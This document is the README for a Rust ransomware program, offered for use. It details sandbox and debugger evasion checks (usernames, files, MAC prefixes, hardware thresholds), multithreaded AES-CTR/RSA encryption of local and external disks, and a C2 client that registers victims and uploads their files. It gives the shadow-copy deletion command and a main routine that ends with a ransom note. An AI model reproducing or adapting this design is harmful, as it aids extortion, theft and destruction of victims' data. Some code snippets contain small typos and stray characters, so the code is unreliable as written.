

# Ransomware

This document provides an overview and documentation of the Rust code for the ransomware.

- [Debugger and Sandbox Detection](#)
- [System Information Retrieval](#)
- [Encryption / Decryption files](#)
- [Encryption / Decryption for external disk](#)
- [API connection](#)
- [Shadow copy deletion](#)
- [Main.rs](#)

# Debugger and Sandbox Detection

This code provides functions to detect the presence of a debugger or a sandbox environment. It includes the following functions:

```
is_debugger_detected() -> bool
```

Checks if a debugger is detected.

**Returns:** `true` if a debugger is present; otherwise, `false`.

```
is_sandbox_detected() -> bool
```

Checks if a sandbox environment is detected.

**Returns:** `true` if a sandbox environment is present; otherwise, `false`.

## Suspicious Renamed Executable Detection

The function checks for the presence of suspiciously named executables that might indicate a sandbox environment. The suspicious executable names include:

- sample.exe
- bot.exe
- sandbox.exe
- malware.exe
- test.exe
- klavme.exe
- myapp.exe
- testapp.exe
- infected.exe

## Suspicious User Name Detection

The function checks if any suspicious user names are present on the system. The suspicious user names include:

- CurrentUser
- Sandbox
- Emily
- HAPUBWS
- Hong Lee
- IT-ADMIN
- Johnson
- Miller
- milozs
- Peter Wilson
- timmy
- user
- sand box
- malware
- maltest
- test user
- virus
- John Doe
- SANDBOX
- 7SILVIA
- HANSPETER-PC
- JOHN-PC
- MUELLER-PC
- WIN7-TRAPS
- FORTINET
- TEQUILABOOMBOOM

## Specific Conditions Check

The function checks for specific conditions related to certain users and host names:

- If the user is "Wilber" and the host name starts with "SC" or "SW".
- If the user is "admin" and the host name is "SystemIT" or "KLONE\_X64-PC".
- If the user is "John" and the files "C:\take\_screenshot.ps1" and "C:\loaddll.exe" exist.

## Suspicious File Existence Check

The function checks for the existence of specific files that might indicate a sandbox environment:

- C:\email.doc
- C:\email.htm
- C:\123\email.doc
- C:\123\email.docx

## Hardware and System Checks

The function performs the following hardware and system checks:

- Checks if the number of physical CPUs is less than 2.
- Checks if the total space on the C: drive is less than 80 GB (85899345920 bytes).
- Checks if the mouse cursor position remains unchanged after a delay of 10 seconds.
- Checks if the total memory is less than 1 GB (1073741824 bytes).
- Checks if any of the suspicious processes are running.
- Checks the parent process name of the current process.

## Network Interface Check

The function checks the network interfaces for specific MAC addresses that might indicate a sandbox environment:

- MAC addresses starting with "00:05:69"
- MAC addresses starting with "00:0c:29"
- MAC addresses starting with "00:1C:14"
- MAC addresses starting with "00:50:56"
- MAC addresses starting with "08:16:3E"
- MAC addresses starting with "08:00:27"

# System Information Retrieval

This code provides functions to retrieve various system information such as disk details, operating system version, hostname, username, and user home directory.

```
get_disks() -> Vec<String>
```

Retrieves the mounted points of the system disks.

**Returns:** A `Vec<String>` containing the mounted points of the system disks.

```
get_version() -> String
```

Retrieves the operating system version.

**Returns:** A `String` representing the operating system version.

```
get_hostname() -> String
```

Retrieves the hostname of the system.

**Returns:** A `String` representing the hostname.

```
get_username() -> String
```

Retrieves the username of the current user.

**Returns:** A `String` representing the username.

```
get_user_home() -> PathBuf
```

Retrieves the home directory path of the current user.

**Returns:** A `PathBuf` representing the user's home directory path.

## Disk Retrieval

The function `get_disks()` uses the `sysinfo` crate to retrieve system disk information. It iterates over the disks and extracts their mounted points into a `Vec<String>`.

# Operating System Version Retrieval

The function `get_version()` utilizes the `os_info` crate to retrieve the operating system information. It obtains the operating system type using `os_info::get().os_type()` and maps it to a human-readable string. The operating system version is retrieved using `os_info::get().version()`, and the version information is formatted into a string.

## Hostname Retrieval

The function `get_hostname()` leverages the `whoami` crate to retrieve the hostname of the system using `whoami::hostname()`.

## Username Retrieval

The function `get_username()` uses the `whoami` crate to retrieve the username of the current user using `whoami::username()`.

## User Home Directory Retrieval

The function `get_user_home()` utilizes the `home` crate to retrieve the home directory path of the current user. It uses `home::home_dir()` to obtain the `Option<PathBuf>` representing the user's home directory. If the home directory is found, it is returned as a `PathBuf`; otherwise, a fallback value of "unknown" is used.

# Encryption / Decryption files

## Overview

This code provides functions for encrypting and decrypting files using AES-256 CTR encryption. It supports multi-threaded encryption and decryption of files in a specified directory. The encryption is performed using RSA public-key cryptography, where the AES key is encrypted with the recipient's public key before being stored in the encrypted file.

The code is organized into several functions and helper methods. Here's a brief summary of each component:

- `aes_256_ctr_encrypt_decrypt`: This function performs AES-256 CTR encryption or decryption on a given ciphertext using the provided key and nonce.
- `gen_aes_key`: This function generates a random AES key of the specified size.
- `inc_counter`: This helper function increments the given nonce, used in AES-CTR mode, by 1.
- `get_dst_file_path`: This function returns the destination file path for the encrypted file based on the source file path.
- `FileEncryptionDecryptionError`: This is an enum that represents possible errors that can occur during file encryption or decryption.
- `encrypt_decrypt_file`: This function encrypts or decrypts a file based on the specified parameters. It uses AES-CTR encryption for the file data and RSA encryption for the AES key.
- `multi_threaded_encrypt_decrypt_files`: This function performs multi-threaded encryption or decryption on multiple files within a directory. It distributes the files among multiple threads for parallel processing.

## Usage

To use this code, you need to import the necessary dependencies:

```
use aes::{
    cipher::{NewCipher, StreamCipher},
    Aes256Ctr,
};
use rand::{distributions::Uniform, thread_rng, Rng};
use rsa::{"
```

```
pkcs1::{DecodeRsaPrivateKey, DecodeRsaPublicKey},
Pkcs1v15Encrypt, RsaPrivateKey, RsaPublicKey,
};

use walkdir::WalkDir;

use std::{
    fmt::Error as FmtError,
    fs::{remove_file, File, OpenOptions},
    io::{BufReader, Read, Seek, SeekFrom, Write},
    path::{Path, PathBuf},
    sync::mpsc::{channel, Sender},
    thread::{self, JoinHandle},
};

use crate::c2::api::C2API;
```

Note: Some dependencies may need to be added to your project's `Cargo.toml` file.

To encrypt or decrypt a file, you can use the `encrypt_decrypt_file` function:

```
pub fn encrypt_decrypt_file(
    file_src_path: &str,
    private_public_key: String,
    is_encryption: u8,
) -> Result<usize, FileEncryptionDecryptionError>
```

- `file_src_path`: The path to the source file to be encrypted or decrypted.
- `private_public_key`: The RSA private or public key used for encryption or decryption.
- `is_encryption`: A flag indicating whether encryption or decryption should be performed. Set it to `1` for encryption and `0` for decryption.

The function returns the total number of bytes read from the file if successful, or an error of type `FileEncryptionDecryptionError` if an error occurs.

To perform multi-threaded encryption or decryption on multiple files within a directory, you can use the `multi_threaded_encrypt_decrypt_files` function:

```
pub fn multi_threaded_encrypt_decrypt_files(
    directory: &str,
    private_public_key: String,
    user_id: String,
    is_encryption: u8,
```



)

- `directory`: The directory containing the files to be encrypted or decrypted.
- `private_public_key`: The RSA private or public key used for encryption or decryption.
- `user_id`: An identifier for the user or recipient of the encrypted files.
- `is_encryption`: A flag indicating whether encryption or decryption should be performed. Set it to `1` for encryption and `0` for decryption.

This function performs multi-threaded processing on the files in the specified directory, distributing the workload among multiple threads for faster execution.

## Limitations

- The code assumes the use of AES-256 CTR mode for encryption and decryption. Other modes or key sizes are not supported.
- The RSA encryption and decryption operations use the PKCS#1 v1.5 padding scheme. Other padding schemes are not supported.
- The code doesn't provide error handling for all possible failure scenarios. Some error cases may result in a panic or incomplete operations.

## Examples

Example usage of the `encrypt_decrypt_file` function:

```
let file_path = "path/to/file";
let private_public_key = "RSA private or public key";
let is_encryption = 1;

match encrypt_decrypt_file(file_path, private_public_key, is_encryption) {
  Ok(bytes_read) => println!("Encryption successful. Bytes read: {}", bytes_read),
  Err(err) => println!("Encryption failed: {:?}", err),
}
```

Example usage of the `multi_threaded_encrypt_decrypt_files` function:

```
let directory = "path/to/directory";
let private_public_key = "RSA private or public key";
let user_id = "user123";
let is_encryption = 1;
```

```
multi_threaded_encrypt_decrypt_files(directory, private_public_key, user_id, is_encryption);
```

# Ecrypton / Decryption for external disk

## Function Description

The code snippet defines a function named `encrypt_decrypt_external_disks` with the following signature:

```
pub fn encrypt_decrypt_external_disks(private_public_key: String, user_id: String, is_encryption: u8)
```

## Parameters

- `private_public_key` (String): A string representing the private/public key used for encryption/decryption.
- `user_id` (String): A string representing the user ID.
- `is_encryption` (u8): An unsigned 8-bit integer representing the operation mode. It determines whether encryption or decryption should be performed.

## Function Logic

The `encrypt_decrypt_external_disks` function performs encryption or decryption on external disks using the provided private/public key. It iterates over the available disks, excluding the "C:\\" disk, and calls the `multi_threaded_encrypt_decrypt_files` function to perform encryption or decryption on the files within each disk.

The function uses the `get_disks` function from the `crate::system::info` module to obtain a list of available disks. For each disk (excluding the system disk "C:\\"), it calls the `multi_threaded_encrypt_decrypt_files` function, passing the disk path, private/public key, user ID, and operation mode as arguments.

## Example Usage

Here is an example of how you can use the `encrypt_decrypt_external_disks` function:

```
fn main() {  
    let private_public_key = "your_private_public_key".to_string();  
    let user_id = "your_user_id".to_string();  
    let is_encryption = 1; // 1 for encryption, 0 for decryption  
  
    encrypt_decrypt_external_disks(private_public_key, user_id, is_encryption);  
}
```

In the example above, the function is called with the appropriate arguments to perform encryption on external disks using the provided private/public key and user ID.

Make sure to replace `"your_private_public_key"` and `"your_user_id"` with the actual values you want to use.

# API connection

## Overview

This code provides a `C2API` struct that encapsulates functionalities related to interacting with a command and control (C2) API. It includes methods for making POST and GET requests, retrieving public IP information, and uploading files to the C2 server.

The code relies on the following dependencies:

```
use request::{  
    blocking::multipart::{Form, Part},  
    Client, Error, Response,  
};  
use serde_json::{json, Value};  
use std::{  
    collections::HashMap,  
    fs::File,  
    io::{self, Read, Seek},  
    str::FromStr,  
};
```

Make sure to add these dependencies to your project's `Cargo.toml` file.

## Usage

To use this code, create an instance of the `C2API` struct and call its methods. Here's an overview of the available methods:

### new

```
pub fn new() -> Self
```

This method creates a new instance of the `C2API` struct and initializes the base URL for the C2 API.

## format\_response

```
async fn format_response(self, response: Result<Response, Error>) -> HashMap<String, Value>
```

This private method formats the response received from the API into a `HashMap<String, Value>`. It handles success and error cases, returning the response as a `HashMap` for further processing.

## post

```
pub async fn post(self, json_body: &Value, uri: &str) -> HashMap<String, Value>
```

This method sends a POST request to the C2 API with the provided JSON body and URI. It returns the response as a `HashMap<String, Value>`.

## get\_public\_ip\_info

```
pub async fn get_public_ip_info(self) -> HashMap<String, Value>
```

This method retrieves public IP information by sending a GET request to an external service. It returns the response as a `HashMap<String, Value>`.

## upload\_file

```
pub fn upload_file(self, file_path: String, user_id: &str) -> Result<(), Box<dyn std::error::Error>>
```

This method uploads a file to the C2 server in chunks using a multipart/form-data request. It takes the file path and user ID as parameters and returns `Ok(())` if the upload is successful or an error if any issues occur.

# Limitations

- The code assumes the use of the `request` library for making HTTP requests. Other HTTP libraries are not supported.
- The code relies on specific endpoints and response formats from the C2 API. Modifying the API or using a different API may require adjustments to the code.

# Examples

Example usage of the `C2API` struct:

```
let api = C2API::new();

// Example: Send a POST request
let json_body = json!({"name": "John", "age": 30});
let uri = "endpoint";
let response = api.post(&json_body, uri).await;
println!("Response: {:?}", response);

// Example: Retrieve public IP information
let ip_info = api.get_public_ip_info().await;
println!("Public IP info: {:?}", ip_info);

// Example: Upload a file
let file_path = "path/to/file.txt";
let user_id = "user123";
match api.upload_file(file_path.to_string(), user_id) {
    Ok(_) => println!("File upload successful!"),
    Err(err) => println!("File upload failed: {:?}", err),
}
```

Note: Replace the placeholder values with appropriate data for your use case.

# Shadow copy deletion

This code provides a function to delete shadow copies using the `vssadmin` command.

## `delete_shadow_copies()`

Deletes shadow copies using the `vssadmin` command.

## Command Execution

The function executes the following command using the Command module:

```
Command::new("cmd")
    .args(&["/C", "vssadmin delete shadows /all /quiet"])
    .output()
    .expect("Failed to execute command");
```

The command executed is `cmd /C vssadmin delete shadows /all /quiet`, which invokes the `vssadmin` tool with the `delete shadows /all /quiet` arguments. The `/all` option deletes all existing shadow copies, and the `/quiet` option suppresses confirmation prompts.

## Command Output

The function captures the output of the executed command. The output contains the following information:

- `stdout`: Captures the standard output of the command.
- `stderr`: Captures the error output of the command.
- `status`: Represents the exit status of the command.

## Status Check

The function checks the exit status of the command execution using `output.status`. If the command execution was successful, the exit status will indicate success.

- If `output.status.success()` returns `true`, the function prints "Shadow copies deleted successfully".
- If `output.status.success()` returns `false`, the function prints "Failed to delete shadow copies".

Note: The actual output captured from the `vssadmin` command is not used in this code, but it can be accessed from the `stdout` and `stderr` fields of the `output` struct if needed.





# Main.rs

## Overview

This code represents an entry point for a program that performs certain actions based on command-line arguments. It imports and utilizes modules `c2`, `encryption`, and `system` for various functionalities related to interacting with a C2 API, encryption, and system information.

The code relies on the following dependencies:

```
mod c2;
mod encryption;
mod system;
use base64::{engine::general_purpose, Engine as _};
use serde_json::json;
use std::{
    env,
    fs::{read_to_string, File, OpenOptions},
    io::Write,
    process::exit,
};
```

Make sure to add these dependencies to your project's `Cargo.toml` file.

## Usage

The code checks the command-line arguments and performs different actions based on the number of arguments.

### Case 1: No Arguments

If no arguments are provided, the code checks if a debugger or sandbox environment is detected using the `sandbox` module from the `system` module.

If no debugger or sandbox is detected, the code proceeds with the following steps:

1. Creates an instance of `C2API` from the `c2` module.
2. Retrieves public IP information using the `get_public_ip_info` method of `C2API`.
3. Checks if an error occurred during the retrieval of public IP information. If so, it prints the error message and exits.
4. Retrieves system information such as hostname and username using the `info` module from the `system` module.
5. Constructs a JSON body containing system information and public IP details.
6. Sends a POST request with the JSON body to the C2 API endpoint `/agent/new` using the `post` method of `C2API`.
7. Checks if an error occurred during the POST request. If so, it prints the error message and exits.
8. Creates an agent tag using the received data from the API response.
9. Encodes the agent tag using Base64 encoding.
10. Cleans the received public key and assigns it to `private_public_key`.
11. Performs file and disk encryption using methods from the `encryption` module.
12. Writes a message containing the recovery instructions to a file named `HELP_RECOVER_ALL_MY_FILES.txt`.
13. Deletes shadow copies using the `delete_shadow_copies` method from the `file` module in the `system` module.

## Case 2: One Argument

If one argument is provided, the code assumes it is a path to a private key file.

The code performs the following steps:

1. Reads the contents of the private key file.
2. Performs file and disk encryption using methods from the `encryption` module.

## Limitations

- The code assumes the usage of the `tokio` runtime for asynchronous operations.
- The code relies on specific modules and their implementations in the `c2`, `encryption`, and `system` files. Ensure these files are present and contain the required functionality.
- The code depends on specific C2 API endpoints and response formats. Modify the code if using a different API or endpoints.

## Examples

Example usage of the code:

```
#[tokio::main]
async fn main() {
    // ... Code from the original main function
}
```

Ensure that you have the required dependencies, modules, and files in your project before running the code.